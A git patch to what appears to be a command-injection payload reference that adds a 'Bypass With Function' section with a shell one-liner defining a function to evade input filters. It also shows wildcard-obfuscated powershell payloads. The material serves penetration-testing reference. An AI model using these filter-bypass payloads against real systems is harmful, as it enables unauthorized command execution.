From cd04db0ba3e8cf2dccecb14029f0740230a596d6 Mon Sep 17 00:00:00 2001 From: Xhoenix <86168235+Xhoenix@users.noreply.github.com> Date: Thu, 17 Jul 2025 18:40:50 +0530 Subject: [PATCH] added new filter bypass --- Command Injection/README.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/Command Injection/README.md b/Command Injection/README.md index 520db043..5a9cd488 100644 --- a/Command Injection/README.md +++ b/Command Injection/README.md @@ -26,6 +26,7 @@ * [Bypass With $()](#bypass-with--1) * [Bypass With Variable Expansion](#bypass-with-variable-expansion) * [Bypass With Wildcards](#bypass-with-wildcards) + * [Bypass With Function](#bypass-with-function) * [Data Exfiltration](#data-exfiltration) * [Time Based Data Exfiltration](#time-based-data-exfiltration) * [Dns Based Data Exfiltration](#dns-based-data-exfiltration) @@ -351,6 +352,12 @@ powershell C:\*\*2\n??e*d.*? # notepad @^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc ``` +### Bypass With Function + +```powershell +test() { id };test +``` + ## Data Exfiltration ### Time Based Data Exfiltration